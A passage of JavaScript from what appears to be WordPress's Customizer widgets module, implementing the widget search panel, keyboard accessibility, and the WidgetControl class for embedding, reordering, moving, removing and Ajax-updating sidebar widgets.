			// Clear the search results and trigger an `input` event to fire a new search.
			this.$clearResults.on( 'click', function() {
				self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' );
			} );

			// Close the panel if the URL in the preview changes.
			api.previewer.bind( 'url', this.close );
		},

		/**
		 * Performs a search and handles selected widget.
		 */
		search: _.debounce( function( event ) {
			var firstVisible;

			this.collection.doSearch( event.target.value );
			// Update the search matches count.
			this.updateSearchMatchesCount();
			// Announce how many search results.
			this.announceSearchMatches();

			// Remove a widget from being selected if it is no longer visible.
			if ( this.selected && ! this.selected.is( ':visible' ) ) {
				this.selected.removeClass( 'selected' );
				this.selected = null;
			}

			// If a widget was selected but the filter value has been cleared out, clear selection.
			if ( this.selected && ! event.target.value ) {
				this.selected.removeClass( 'selected' );
				this.selected = null;
			}

			// If a filter has been entered and a widget hasn't been selected, select the first one shown.
			if ( ! this.selected && event.target.value ) {
				firstVisible = this.$el.find( '> .widget-tpl:visible:first' );
				if ( firstVisible.length ) {
					this.select( firstVisible );
				}
			}

			// Toggle the clear search results button.
			if ( '' !== event.target.value ) {
				this.$clearResults.addClass( 'is-visible' );
			} else if ( '' === event.target.value ) {
				this.$clearResults.removeClass( 'is-visible' );
			}

			// Set a CSS class on the search container when there are no search results.
			if ( ! this.searchMatchesCount ) {
				this.$el.addClass( 'no-widgets-found' );
			} else {
				this.$el.removeClass( 'no-widgets-found' );
			}
		}, 500 ),

		/**
		 * Updates the count of the available widgets that have the `search_matched` attribute.
 		 */
		updateSearchMatchesCount: function() {
			this.searchMatchesCount = this.collection.where({ search_matched: true }).length;
		},

		/**
		 * Sends a message to the aria-live region to announce how many search results.
		 */
		announceSearchMatches: function() {
			var message = l10n.widgetsFound.replace( '%d', this.searchMatchesCount ) ;

			if ( ! this.searchMatchesCount ) {
				message = l10n.noWidgetsFound;
			}

			wp.a11y.speak( message );
		},

		/**
		 * Changes visibility of available widgets.
 		 */
		updateList: function() {
			this.collection.each( function( widget ) {
				var widgetTpl = $( '#widget-tpl-' + widget.id );
				widgetTpl.toggle( widget.get( 'search_matched' ) && ! widget.get( 'is_disabled' ) );
				if ( widget.get( 'is_disabled' ) && widgetTpl.is( this.selected ) ) {
					this.selected = null;
				}
			} );
		},

		/**
		 * Highlights a widget.
 		 */
		select: function( widgetTpl ) {
			this.selected = $( widgetTpl );
			this.selected.siblings( '.widget-tpl' ).removeClass( 'selected' );
			this.selected.addClass( 'selected' );
		},

		/**
		 * Highlights a widget on focus.
		 */
		focus: function( event ) {
			this.select( $( event.currentTarget ) );
		},

		/**
		 * Handles submit for keypress and click on widget.
		 */
		_submit: function( event ) {
			// Only proceed with keypress if it is Enter or Spacebar.
			if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
				return;
			}

			this.submit( $( event.currentTarget ) );
		},

		/**
		 * Adds a selected widget to the sidebar.
 		 */
		submit: function( widgetTpl ) {
			var widgetId, widget, widgetFormControl;

			if ( ! widgetTpl ) {
				widgetTpl = this.selected;
			}

			if ( ! widgetTpl || ! this.currentSidebarControl ) {
				return;
			}

			this.select( widgetTpl );

			widgetId = $( this.selected ).data( 'widget-id' );
			widget = this.collection.findWhere( { id: widgetId } );
			if ( ! widget ) {
				return;
			}

			widgetFormControl = this.currentSidebarControl.addWidget( widget.get( 'id_base' ) );
			if ( widgetFormControl ) {
				widgetFormControl.focus();
			}

			this.close();
		},

		/**
		 * Opens the panel.
		 */
		open: function( sidebarControl ) {
			this.currentSidebarControl = sidebarControl;

			// Wide widget controls appear over the preview, and so they need to be collapsed when the panel opens.
			_( this.currentSidebarControl.getWidgetFormControls() ).each( function( control ) {
				if ( control.params.is_wide ) {
					control.collapseForm();
				}
			} );

			if ( api.section.has( 'publish_settings' ) ) {
				api.section( 'publish_settings' ).collapse();
			}

			$( 'body' ).addClass( 'adding-widget' );

			this.$el.find( '.selected' ).removeClass( 'selected' );

			// Reset search.
			this.collection.doSearch( '' );

			if ( ! api.settings.browser.mobile ) {
				this.$search.trigger( 'focus' );
			}
		},

		/**
		 * Closes the panel.
		 */
		close: function( options ) {
			options = options || {};

			if ( options.returnFocus && this.currentSidebarControl ) {
				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
			}

			this.currentSidebarControl = null;
			this.selected = null;

			$( 'body' ).removeClass( 'adding-widget' );

			this.$search.val( '' ).trigger( 'input' );
		},

		/**
		 * Adds keyboard accessiblity to the panel.
		 */
		keyboardAccessible: function( event ) {
			var isEnter = ( event.which === 13 ),
				isEsc = ( event.which === 27 ),
				isDown = ( event.which === 40 ),
				isUp = ( event.which === 38 ),
				isTab = ( event.which === 9 ),
				isShift = ( event.shiftKey ),
				selected = null,
				firstVisible = this.$el.find( '> .widget-tpl:visible:first' ),
				lastVisible = this.$el.find( '> .widget-tpl:visible:last' ),
				isSearchFocused = $( event.target ).is( this.$search ),
				isLastWidgetFocused = $( event.target ).is( '.widget-tpl:visible:last' );

			if ( isDown || isUp ) {
				if ( isDown ) {
					if ( isSearchFocused ) {
						selected = firstVisible;
					} else if ( this.selected && this.selected.nextAll( '.widget-tpl:visible' ).length !== 0 ) {
						selected = this.selected.nextAll( '.widget-tpl:visible:first' );
					}
				} else if ( isUp ) {
					if ( isSearchFocused ) {
						selected = lastVisible;
					} else if ( this.selected && this.selected.prevAll( '.widget-tpl:visible' ).length !== 0 ) {
						selected = this.selected.prevAll( '.widget-tpl:visible:first' );
					}
				}

				this.select( selected );

				if ( selected ) {
					selected.trigger( 'focus' );
				} else {
					this.$search.trigger( 'focus' );
				}

				return;
			}

			// If enter pressed but nothing entered, don't do anything.
			if ( isEnter && ! this.$search.val() ) {
				return;
			}

			if ( isEnter ) {
				this.submit();
			} else if ( isEsc ) {
				this.close( { returnFocus: true } );
			}

			if ( this.currentSidebarControl && isTab && ( isShift && isSearchFocused || ! isShift && isLastWidgetFocused ) ) {
				this.currentSidebarControl.container.find( '.add-new-widget' ).focus();
				event.preventDefault();
			}
		}
	});

	/**
	 * Handlers for the widget-synced event, organized by widget ID base.
	 * Other widgets may provide their own update handlers by adding
	 * listeners for the widget-synced event.
	 *
	 * @alias    wp.customize.Widgets.formSyncHandlers
	 */
	api.Widgets.formSyncHandlers = {

		/**
		 * @param {jQuery.Event} e
		 * @param {jQuery} widget
		 * @param {string} newForm
		 */
		rss: function( e, widget, newForm ) {
			var oldWidgetError = widget.find( '.widget-error:first' ),
				newWidgetError = $( '<div>' + newForm + '</div>' ).find( '.widget-error:first' );

			if ( oldWidgetError.length && newWidgetError.length ) {
				oldWidgetError.replaceWith( newWidgetError );
			} else if ( oldWidgetError.length ) {
				oldWidgetError.remove();
			} else if ( newWidgetError.length ) {
				widget.find( '.widget-content:first' ).prepend( newWidgetError );
			}
		}
	};

	api.Widgets.WidgetControl = api.Control.extend(/** @lends wp.customize.Widgets.WidgetControl.prototype */{
		defaultExpandedArguments: {
			duration: 'fast',
			completeCallback: $.noop
		},

		/**
		 * wp.customize.Widgets.WidgetControl
		 *
		 * Customizer control for widgets.
		 * Note that 'widget_form' must match the WP_Widget_Form_Customize_Control::$type
		 *
		 * @since 4.1.0
		 *
		 * @constructs wp.customize.Widgets.WidgetControl
		 * @augments   wp.customize.Control
		 */
		initialize: function( id, options ) {
			var control = this;

			control.widgetControlEmbedded = false;
			control.widgetContentEmbedded = false;
			control.expanded = new api.Value( false );
			control.expandedArgumentsQueue = [];
			control.expanded.bind( function( expanded ) {
				var args = control.expandedArgumentsQueue.shift();
				args = $.extend( {}, control.defaultExpandedArguments, args );
				control.onChangeExpanded( expanded, args );
			});
			control.altNotice = true;

			api.Control.prototype.initialize.call( control, id, options );
		},

		/**
		 * Set up the control.
		 *
		 * @since 3.9.0
		 */
		ready: function() {
			var control = this;

			/*
			 * Embed a placeholder once the section is expanded. The full widget
			 * form content will be embedded once the control itself is expanded,
			 * and at this point the widget-added event will be triggered.
			 */
			if ( ! control.section() ) {
				control.embedWidgetControl();
			} else {
				api.section( control.section(), function( section ) {
					var onExpanded = function( isExpanded ) {
						if ( isExpanded ) {
							control.embedWidgetControl();
							section.expanded.unbind( onExpanded );
						}
					};
					if ( section.expanded() ) {
						onExpanded( true );
					} else {
						section.expanded.bind( onExpanded );
					}
				} );
			}
		},

		/**
		 * Embed the .widget element inside the li container.
		 *
		 * @since 4.4.0
		 */
		embedWidgetControl: function() {
			var control = this, widgetControl;

			if ( control.widgetControlEmbedded ) {
				return;
			}
			control.widgetControlEmbedded = true;

			widgetControl = $( control.params.widget_control );
			control.container.append( widgetControl );

			control._setupModel();
			control._setupWideWidget();
			control._setupControlToggle();

			control._setupWidgetTitle();
			control._setupReorderUI();
			control._setupHighlightEffects();
			control._setupUpdateUI();
			control._setupRemoveUI();
		},

		/**
		 * Embed the actual widget form inside of .widget-content and finally trigger the widget-added event.
		 *
		 * @since 4.4.0
		 */
		embedWidgetContent: function() {
			var control = this, widgetContent;

			control.embedWidgetControl();
			if ( control.widgetContentEmbedded ) {
				return;
			}
			control.widgetContentEmbedded = true;

			// Update the notification container element now that the widget content has been embedded.
			control.notifications.container = control.getNotificationsContainerElement();
			control.notifications.render();

			widgetContent = $( control.params.widget_content );
			control.container.find( '.widget-content:first' ).append( widgetContent );

			/*
			 * Trigger widget-added event so that plugins can attach any event
			 * listeners and dynamic UI elements.
			 */
			$( document ).trigger( 'widget-added', [ control.container.find( '.widget:first' ) ] );

		},

		/**
		 * Handle changes to the setting
		 */
		_setupModel: function() {
			var self = this, rememberSavedWidgetId;

			// Remember saved widgets so we know which to trash (move to inactive widgets sidebar).
			rememberSavedWidgetId = function() {
				api.Widgets.savedWidgetIds[self.params.widget_id] = true;
			};
			api.bind( 'ready', rememberSavedWidgetId );
			api.bind( 'saved', rememberSavedWidgetId );

			this._updateCount = 0;
			this.isWidgetUpdating = false;
			this.liveUpdateMode = true;

			// Update widget whenever model changes.
			this.setting.bind( function( to, from ) {
				if ( ! _( from ).isEqual( to ) && ! self.isWidgetUpdating ) {
					self.updateWidget( { instance: to } );
				}
			} );
		},

		/**
		 * Add special behaviors for wide widget controls
		 */
		_setupWideWidget: function() {
			var self = this, $widgetInside, $widgetForm, $customizeSidebar,
				$themeControlsContainer, positionWidget;

			if ( ! this.params.is_wide || $( window ).width() <= 640 /* max-width breakpoint in customize-controls.css */ ) {
				return;
			}

			$widgetInside = this.container.find( '.widget-inside' );
			$widgetForm = $widgetInside.find( '> .form' );
			$customizeSidebar = $( '.wp-full-overlay-sidebar-content:first' );
			this.container.addClass( 'wide-widget-control' );

			this.container.find( '.form:first' ).css( {
				'max-width': this.params.width,
				'min-height': this.params.height
			} );

			/**
			 * Keep the widget-inside positioned so the top of fixed-positioned
			 * element is at the same top position as the widget-top. When the
			 * widget-top is scrolled out of view, keep the widget-top in view;
			 * likewise, don't allow the widget to drop off the bottom of the window.
			 * If a widget is too tall to fit in the window, don't let the height
			 * exceed the window height so that the contents of the widget control
			 * will become scrollable (overflow:auto).
			 */
			positionWidget = function() {
				var offsetTop = self.container.offset().top,
					windowHeight = $( window ).height(),
					formHeight = $widgetForm.outerHeight(),
					top;
				$widgetInside.css( 'max-height', windowHeight );
				top = Math.max(
					0, // Prevent top from going off screen.
					Math.min(
						Math.max( offsetTop, 0 ), // Distance widget in panel is from top of screen.
						windowHeight - formHeight // Flush up against bottom of screen.
					)
				);
				$widgetInside.css( 'top', top );
			};

			$themeControlsContainer = $( '#customize-theme-controls' );
			this.container.on( 'expand', function() {
				positionWidget();
				$customizeSidebar.on( 'scroll', positionWidget );
				$( window ).on( 'resize', positionWidget );
				$themeControlsContainer.on( 'expanded collapsed', positionWidget );
			} );
			this.container.on( 'collapsed', function() {
				$customizeSidebar.off( 'scroll', positionWidget );
				$( window ).off( 'resize', positionWidget );
				$themeControlsContainer.off( 'expanded collapsed', positionWidget );
			} );

			// Reposition whenever a sidebar's widgets are changed.
			api.each( function( setting ) {
				if ( 0 === setting.id.indexOf( 'sidebars_widgets[' ) ) {
					setting.bind( function() {
						if ( self.container.hasClass( 'expanded' ) ) {
							positionWidget();
						}
					} );
				}
			} );
		},

		/**
		 * Show/hide the control when clicking on the form title, when clicking
		 * the close button
		 */
		_setupControlToggle: function() {
			var self = this, $closeBtn;

			this.container.find( '.widget-top' ).on( 'click', function( e ) {
				e.preventDefault();
				var sidebarWidgetsControl = self.getSidebarWidgetsControl();
				if ( sidebarWidgetsControl.isReordering ) {
					return;
				}
				self.expanded( ! self.expanded() );
			} );

			$closeBtn = this.container.find( '.widget-control-close' );
			$closeBtn.on( 'click', function() {
				self.collapse();
				self.container.find( '.widget-top .widget-action:first' ).focus(); // Keyboard accessibility.
			} );
		},

		/**
		 * Update the title of the form if a title field is entered
		 */
		_setupWidgetTitle: function() {
			var self = this, updateTitle;

			updateTitle = function() {
				var title = self.setting().title,
					inWidgetTitle = self.container.find( '.in-widget-title' );

				if ( title ) {
					inWidgetTitle.text( ': ' + title );
				} else {
					inWidgetTitle.text( '' );
				}
			};
			this.setting.bind( updateTitle );
			updateTitle();
		},

		/**
		 * Set up the widget-reorder-nav
		 */
		_setupReorderUI: function() {
			var self = this, selectSidebarItem, $moveWidgetArea,
				$reorderNav, updateAvailableSidebars, template;

			/**
			 * select the provided sidebar list item in the move widget area
			 *
			 * @param {jQuery} li
			 */
			selectSidebarItem = function( li ) {
				li.siblings( '.selected' ).removeClass( 'selected' );
				li.addClass( 'selected' );
				var isSelfSidebar = ( li.data( 'id' ) === self.params.sidebar_id );
				self.container.find( '.move-widget-btn' ).prop( 'disabled', isSelfSidebar );
			};

			/**
			 * Add the widget reordering elements to the widget control
			 */
			this.container.find( '.widget-title-action' ).after( $( api.Widgets.data.tpl.widgetReorderNav ) );


			template = _.template( api.Widgets.data.tpl.moveWidgetArea );
			$moveWidgetArea = $( template( {
					sidebars: _( api.Widgets.registeredSidebars.toArray() ).pluck( 'attributes' )
				} )
			);
			this.container.find( '.widget-top' ).after( $moveWidgetArea );

			/**
			 * Update available sidebars when their rendered state changes
			 */
			updateAvailableSidebars = function() {
				var $sidebarItems = $moveWidgetArea.find( 'li' ), selfSidebarItem,
					renderedSidebarCount = 0;

				selfSidebarItem = $sidebarItems.filter( function(){
					return $( this ).data( 'id' ) === self.params.sidebar_id;
				} );

				$sidebarItems.each( function() {
					var li = $( this ),
						sidebarId, sidebar, sidebarIsRendered;

					sidebarId = li.data( 'id' );
					sidebar = api.Widgets.registeredSidebars.get( sidebarId );
					sidebarIsRendered = sidebar.get( 'is_rendered' );

					li.toggle( sidebarIsRendered );

					if ( sidebarIsRendered ) {
						renderedSidebarCount += 1;
					}

					if ( li.hasClass( 'selected' ) && ! sidebarIsRendered ) {
						selectSidebarItem( selfSidebarItem );
					}
				} );

				if ( renderedSidebarCount > 1 ) {
					self.container.find( '.move-widget' ).show();
				} else {
					self.container.find( '.move-widget' ).hide();
				}
			};

			updateAvailableSidebars();
			api.Widgets.registeredSidebars.on( 'change:is_rendered', updateAvailableSidebars );

			/**
			 * Handle clicks for up/down/move on the reorder nav
			 */
			$reorderNav = this.container.find( '.widget-reorder-nav' );
			$reorderNav.find( '.move-widget, .move-widget-down, .move-widget-up' ).each( function() {
				$( this ).prepend( self.container.find( '.widget-title' ).text() + ': ' );
			} ).on( 'click keypress', function( event ) {
				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
					return;
				}
				$( this ).trigger( 'focus' );

				if ( $( this ).is( '.move-widget' ) ) {
					self.toggleWidgetMoveArea();
				} else {
					var isMoveDown = $( this ).is( '.move-widget-down' ),
						isMoveUp = $( this ).is( '.move-widget-up' ),
						i = self.getWidgetSidebarPosition();

					if ( ( isMoveUp && i === 0 ) || ( isMoveDown && i === self.getSidebarWidgetsControl().setting().length - 1 ) ) {
						return;
					}

					if ( isMoveUp ) {
						self.moveUp();
						wp.a11y.speak( l10n.widgetMovedUp );
					} else {
						self.moveDown();
						wp.a11y.speak( l10n.widgetMovedDown );
					}

					$( this ).trigger( 'focus' ); // Re-focus after the container was moved.
				}
			} );

			/**
			 * Handle selecting a sidebar to move to
			 */
			this.container.find( '.widget-area-select' ).on( 'click keypress', 'li', function( event ) {
				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
					return;
				}
				event.preventDefault();
				selectSidebarItem( $( this ) );
			} );

			/**
			 * Move widget to another sidebar
			 */
			this.container.find( '.move-widget-btn' ).click( function() {
				self.getSidebarWidgetsControl().toggleReordering( false );

				var oldSidebarId = self.params.sidebar_id,
					newSidebarId = self.container.find( '.widget-area-select li.selected' ).data( 'id' ),
					oldSidebarWidgetsSetting, newSidebarWidgetsSetting,
					oldSidebarWidgetIds, newSidebarWidgetIds, i;

				oldSidebarWidgetsSetting = api( 'sidebars_widgets[' + oldSidebarId + ']' );
				newSidebarWidgetsSetting = api( 'sidebars_widgets[' + newSidebarId + ']' );
				oldSidebarWidgetIds = Array.prototype.slice.call( oldSidebarWidgetsSetting() );
				newSidebarWidgetIds = Array.prototype.slice.call( newSidebarWidgetsSetting() );

				i = self.getWidgetSidebarPosition();
				oldSidebarWidgetIds.splice( i, 1 );
				newSidebarWidgetIds.push( self.params.widget_id );

				oldSidebarWidgetsSetting( oldSidebarWidgetIds );
				newSidebarWidgetsSetting( newSidebarWidgetIds );

				self.focus();
			} );
		},

		/**
		 * Highlight widgets in preview when interacted with in the Customizer
		 */
		_setupHighlightEffects: function() {
			var self = this;

			// Highlight whenever hovering or clicking over the form.
			this.container.on( 'mouseenter click', function() {
				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
			} );

			// Highlight when the setting is updated.
			this.setting.bind( function() {
				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
			} );
		},

		/**
		 * Set up event handlers for widget updating
		 */
		_setupUpdateUI: function() {
			var self = this, $widgetRoot, $widgetContent,
				$saveBtn, updateWidgetDebounced, formSyncHandler;

			$widgetRoot = this.container.find( '.widget:first' );
			$widgetContent = $widgetRoot.find( '.widget-content:first' );

			// Configure update button.
			$saveBtn = this.container.find( '.widget-control-save' );
			$saveBtn.val( l10n.saveBtnLabel );
			$saveBtn.attr( 'title', l10n.saveBtnTooltip );
			$saveBtn.removeClass( 'button-primary' );
			$saveBtn.on( 'click', function( e ) {
				e.preventDefault();
				self.updateWidget( { disable_form: true } ); // @todo disable_form is unused?
			} );

			updateWidgetDebounced = _.debounce( function() {
				self.updateWidget();
			}, 250 );

			// Trigger widget form update when hitting Enter within an input.
			$widgetContent.on( 'keydown', 'input', function( e ) {
				if ( 13 === e.which ) { // Enter.
					e.preventDefault();
					self.updateWidget( { ignoreActiveElement: true } );
				}
			} );

			// Handle widgets that support live previews.
			$widgetContent.on( 'change input propertychange', ':input', function( e ) {
				if ( ! self.liveUpdateMode ) {
					return;
				}
				if ( e.type === 'change' || ( this.checkValidity && this.checkValidity() ) ) {
					updateWidgetDebounced();
				}
			} );

			// Remove loading indicators when the setting is saved and the preview updates.
			this.setting.previewer.channel.bind( 'synced', function() {
				self.container.removeClass( 'previewer-loading' );
			} );

			api.previewer.bind( 'widget-updated', function( updatedWidgetId ) {
				if ( updatedWidgetId === self.params.widget_id ) {
					self.container.removeClass( 'previewer-loading' );
				}
			} );

			formSyncHandler = api.Widgets.formSyncHandlers[ this.params.widget_id_base ];
			if ( formSyncHandler ) {
				$( document ).on( 'widget-synced', function( e, widget ) {
					if ( $widgetRoot.is( widget ) ) {
						formSyncHandler.apply( document, arguments );
					}
				} );
			}
		},

		/**
		 * Update widget control to indicate whether it is currently rendered.
		 *
		 * Overrides api.Control.toggle()
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}   active
		 * @param {Object}    args
		 * @param {function}  args.completeCallback
		 */
		onChangeActive: function ( active, args ) {
			// Note: there is a second 'args' parameter being passed, merged on top of this.defaultActiveArguments.
			this.container.toggleClass( 'widget-rendered', active );
			if ( args.completeCallback ) {
				args.completeCallback();
			}
		},

		/**
		 * Set up event handlers for widget removal
		 */
		_setupRemoveUI: function() {
			var self = this, $removeBtn, replaceDeleteWithRemove;

			// Configure remove button.
			$removeBtn = this.container.find( '.widget-control-remove' );
			$removeBtn.on( 'click', function() {
				// Find an adjacent element to add focus to when this widget goes away.
				var $adjacentFocusTarget;
				if ( self.container.next().is( '.customize-control-widget_form' ) ) {
					$adjacentFocusTarget = self.container.next().find( '.widget-action:first' );
				} else if ( self.container.prev().is( '.customize-control-widget_form' ) ) {
					$adjacentFocusTarget = self.container.prev().find( '.widget-action:first' );
				} else {
					$adjacentFocusTarget = self.container.next( '.customize-control-sidebar_widgets' ).find( '.add-new-widget:first' );
				}

				self.container.slideUp( function() {
					var sidebarsWidgetsControl = api.Widgets.getSidebarWidgetControlContainingWidget( self.params.widget_id ),
						sidebarWidgetIds, i;

					if ( ! sidebarsWidgetsControl ) {
						return;
					}

					sidebarWidgetIds = sidebarsWidgetsControl.setting().slice();
					i = _.indexOf( sidebarWidgetIds, self.params.widget_id );
					if ( -1 === i ) {
						return;
					}

					sidebarWidgetIds.splice( i, 1 );
					sidebarsWidgetsControl.setting( sidebarWidgetIds );

					$adjacentFocusTarget.focus(); // Keyboard accessibility.
				} );
			} );

			replaceDeleteWithRemove = function() {
				$removeBtn.text( l10n.removeBtnLabel ); // wp_widget_control() outputs the button as "Delete".
				$removeBtn.attr( 'title', l10n.removeBtnTooltip );
			};

			if ( this.params.is_new ) {
				api.bind( 'saved', replaceDeleteWithRemove );
			} else {
				replaceDeleteWithRemove();
			}
		},

		/**
		 * Find all inputs in a widget container that should be considered when
		 * comparing the loaded form with the sanitized form, whose fields will
		 * be aligned to copy the sanitized over. The elements returned by this
		 * are passed into this._getInputsSignature(), and they are iterated
		 * over when copying sanitized values over to the form loaded.
		 *
		 * @param {jQuery} container element in which to look for inputs
		 * @return {jQuery} inputs
		 * @private
		 */
		_getInputs: function( container ) {
			return $( container ).find( ':input[name]' );
		},

		/**
		 * Iterate over supplied inputs and create a signature string for all of them together.
		 * This string can be used to compare whether or not the form has all of the same fields.
		 *
		 * @param {jQuery} inputs
		 * @return {string}
		 * @private
		 */
		_getInputsSignature: function( inputs ) {
			var inputsSignatures = _( inputs ).map( function( input ) {
				var $input = $( input ), signatureParts;

				if ( $input.is( ':checkbox, :radio' ) ) {
					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ), $input.prop( 'value' ) ];
				} else {
					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ) ];
				}

				return signatureParts.join( ',' );
			} );

			return inputsSignatures.join( ';' );
		},

		/**
		 * Get the state for an input depending on its type.
		 *
		 * @param {jQuery|Element} input
		 * @return {string|boolean|Array|*}
		 * @private
		 */
		_getInputState: function( input ) {
			input = $( input );
			if ( input.is( ':radio, :checkbox' ) ) {
				return input.prop( 'checked' );
			} else if ( input.is( 'select[multiple]' ) ) {
				return input.find( 'option:selected' ).map( function () {
					return $( this ).val();
				} ).get();
			} else {
				return input.val();
			}
		},

		/**
		 * Update an input's state based on its type.
		 *
		 * @param {jQuery|Element} input
		 * @param {string|boolean|Array|*} state
		 * @private
		 */
		_setInputState: function ( input, state ) {
			input = $( input );
			if ( input.is( ':radio, :checkbox' ) ) {
				input.prop( 'checked', state );
			} else if ( input.is( 'select[multiple]' ) ) {
				if ( ! Array.isArray( state ) ) {
					state = [];
				} else {
					// Make sure all state items are strings since the DOM value is a string.
					state = _.map( state, function ( value ) {
						return String( value );
					} );
				}
				input.find( 'option' ).each( function () {
					$( this ).prop( 'selected', -1 !== _.indexOf( state, String( this.value ) ) );
				} );
			} else {
				input.val( state );
			}
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * @return {wp.customize.controlConstructor.sidebar_widgets[]}
		 */
		getSidebarWidgetsControl: function() {
			var settingId, sidebarWidgetsControl;

			settingId = 'sidebars_widgets[' + this.params.sidebar_id + ']';
			sidebarWidgetsControl = api.control( settingId );

			if ( ! sidebarWidgetsControl ) {
				return;
			}

			return sidebarWidgetsControl;
		},

		/**
		 * Submit the widget form via Ajax and get back the updated instance,
		 * along with the new widget control form to render.
		 *
		 * @param {Object} [args]
		 * @param {Object|null} [args.instance=null]  When the model changes, the instance is sent here; otherwise, the inputs from the form are used
		 * @param {Function|null} [args.complete=null]  Function which is called when the request finishes. Context is bound to the control. First argument is any error. Following arguments are for success.
		 * @param {boolean} [args.ignoreActiveElement=false] Whether or not updating a field will be deferred if focus is still on the element.
		 */
		updateWidget: function( args ) {
			var self = this, instanceOverride, completeCallback, $widgetRoot, $widgetContent,
				updateNumber, params, data, $inputs, processing, jqxhr, isChanged;

			// The updateWidget logic requires that the form fields to be fully present.
			self.embedWidgetContent();

			args = $.extend( {
				instance: null,
				complete: null,
				ignoreActiveElement: false
			}, args );

			instanceOverride = args.instance;
			completeCallback = args.complete;

			this._updateCount += 1;
			updateNumber = this._updateCount;

			$widgetRoot = this.container.find( '.widget:first' );
			$widgetContent = $widgetRoot.find( '.widget-content:first' );

			// Remove a previous error message.
			$widgetContent.find( '.widget-error' ).remove();

			this.container.addClass( 'widget-form-loading' );
			this.container.addClass( 'previewer-loading' );
			processing = api.state( 'processing' );
			processing( processing() + 1 );

			if ( ! this.liveUpdateMode ) {
				this.container.addClass( 'widget-form-disabled' );
			}

			params = {};
			params.action = 'update-widget';
			params.wp_customize = 'on';
			params.nonce = api.settings.nonce['update-widget'];
			params.customize_theme = api.settings.theme.stylesheet;
			params.customized = wp.customize.previewer.query().customized;

			data = $.param( params );
			$inputs = this._getInputs( $widgetContent );

			/*
			 * Store the value we're submitting in data so that when the response comes back,
			 * we know if it got sanitized; if there is no difference in the sanitized value,
			 * then we do not need to touch the UI and mess up the user's ongoing editing.
			 */
			$inputs.each( function() {
				$( this ).data( 'state' + updateNumber, self._getInputState( this ) );
			} );

			if ( instanceOverride ) {
				data += '&' + $.param( { 'sanitized_widget_setting': JSON.stringify( instanceOverride ) } );
			} else {
				data += '&' + $inputs.serialize();
			}
			data += '&' + $widgetContent.find( '~ :input' ).serialize();

			if ( this._previousUpdateRequest ) {
				this._previousUpdateRequest.abort();
			}
			jqxhr = $.post( wp.ajax.settings.url, data );
			this._previousUpdateRequest = jqxhr;

			jqxhr.done( function( r ) {
				var message, sanitizedForm,	$sanitizedInputs, hasSameInputsInResponse,
					isLiveUpdateAborted = false;

				// Check if the user is logged out.
				if ( '0' === r ) {
					api.previewer.preview.iframe.hide();
					api.previewer.login().done( function() {
						self.updateWidget( args );
						api.previewer.preview.iframe.show();
					} );
					return;
				}

				// Check for cheaters.
				if ( '-1' === r ) {
					api.previewer.cheatin();
					return;
				}

				if ( r.success ) {
					sanitizedForm = $( '<div>' + r.data.form + '</div>' );
					$sanitizedInputs = self._getInputs( sanitizedForm );
					hasSameInputsInResponse = self._getInputsSignature( $inputs ) === self._getInputsSignature( $sanitizedInputs );

					// Restore live update mode if sanitized fields are now aligned with the existing fields.
					if ( hasSameInputsInResponse && ! self.liveUpdateMode ) {
						self.liveUpdateMode = true;
						self.container.removeClass( 'widget-form-disabled' );
						self.container.find( 'input[name="savewidget"]' ).hide();
					}

					// Sync sanitized field states to existing fields if they are aligned.
					if ( hasSameInputsInResponse && self.liveUpdateMode ) {
						$inputs.each( function( i ) {
							var $input = $( this ),
								$sanitizedInput = $( $sanitizedInputs[i] ),
								submittedState, sanitizedState,	canUpdateState;

							submittedState = $input.data( 'state' + updateNumber );
							sanitizedState = self._getInputState( $sanitizedInput );
							$input.data( 'sanitized', sanitizedState );

							canUpdateState = ( ! _.isEqual( submittedState, sanitizedState ) && ( args.ignoreActiveElement || ! $input.is( document.activeElement ) ) );
							if ( canUpdateState ) {
								self._setInputState( $input, sanitizedState );
							}
						} );

						$( document ).trigger( 'widget-synced', [ $widgetRoot, r.data.form ] );

					// Otherwise, if sanitized fields are not aligned with existing fields, disable live update mode if enabled.
					} else if ( self.liveUpdateMode ) {
						self.liveUpdateMode = false;
						self.container.find( 'input[name="savewidget"]' ).show();
						isLiveUpdateAborted = true;

					// Otherwise, replace existing form with the sanitized form.
					} else {
						$widgetContent.html( r.data.form );

						self.container.removeClass( 'widget-form-disabled' );

						$( document ).trigger( 'widget-updated', [ $widgetRoot ] );
					}

					/**
					 * If the old instance is identical to the new one, there is nothing new
					 * needing to be rendered, and so we can preempt the event for the
					 * preview finishing loading.
					 */
					isChanged = ! isLiveUpdateAborted && ! _( self.setting() ).isEqual( r.data.instance );
					if ( isChanged ) {
						self.isWidgetUpdating = true; // Suppress triggering another updateWidget.
						self.setting( r.data.instance );
						self.isWidgetUpdating = false;
					} else {
						// No change was made, so stop the spinner now instead of when the preview would updates.
						self.container.removeClass( 'previewer-loading' );
					}

					if ( completeCallback ) {
						completeCallback.call( self, null, { noChange: ! isChanged, ajaxFinished: true } );
					}
				} else {
					// General error message.
					message = l10n.error;

					if ( r.data && r.data.message ) {
						message = r.data.message;
					}

					if ( completeCallback ) {
						completeCallback.call( self, message );
					} else {
						$widgetContent.prepend( '<p class="widget-error"><strong>' + message + '</strong></p>' );
					}
				}
			} );

			jqxhr.fail( function( jqXHR, textStatus ) {
				if ( completeCallback ) {
					completeCallback.call( self, textStatus );
				}
			} );

			jqxhr.always( function() {
				self.container.removeClass( 'widget-form-loading' );

				$inputs.each( function() {
					$( this ).removeData( 'state' + updateNumber );
				} );

				processing( processing() - 1 );
			} );
		},

		/**
		 * Expand the accordion section containing a control
		 */
		expandControlSection: function() {
			api.Control.prototype.expand.call( this );
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {Boolean} expanded
		 * @param {Object} [params]
		 * @return {Boolean} False if state already applied.
		 */
		_toggleExpanded: api.Section.prototype._toggleExpanded,

		/**
		 * @since 4.1.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already expanded.
		 */
